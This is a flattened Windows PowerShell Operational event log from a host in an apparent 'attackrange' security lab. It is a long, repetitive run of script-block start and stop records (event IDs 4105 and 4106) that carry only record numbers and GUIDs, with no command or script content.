410615103150x0674063Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674062Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674061Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674060Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674059Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674058Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674057Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674056Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674055Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674054Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674053Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674052Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674051Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674050Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674049Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674048Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674047Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674046Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674045Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674044Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674043Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674042Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674041Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674040Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674039Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674038Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674037Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674036Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674035Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674034Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674033Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674032Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674031Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674030Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674029Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674028Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674027Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674026Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674025Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674024Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674023Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674022Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674021Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674020Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674019Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674018Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674017Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674016Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674015Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674014Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674013Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674012Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674011Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674010Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674009Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674008Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674007Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674006Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674005Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674004Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674003Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0674002Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674001Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0674000Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673999Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673998Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673997Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673996Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673995Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673994Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673993Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673992Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673991Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673990Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673989Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673988Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673987Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673986Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673985Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673984Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673983Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673982Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673981Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673980Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673979Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673978Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673977Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673976Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673975Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673974Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673973Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673972Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673971Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673970Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673969Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673968Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673967Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673966Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673965Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673964Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673963Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673962Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673961Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673960Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673959Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673958Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673957Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673956Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673955Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673954Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673953Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673952Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673951Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673950Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673949Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673948Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673947Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673946Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673945Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673944Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673943Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673942Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673941Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673940Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673939Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673938Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673937Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673936Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673935Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673934Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673933Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673932Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673931Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673930Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673929Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673928Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673927Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673926Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673925Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673924Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673923Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673922Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673921Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673920Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673919Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673918Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673917Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673916Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673915Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673914Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673913Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673912Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673911Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673910Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673909Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673908Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673907Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673906Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673905Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673904Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673903Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673902Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673901Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 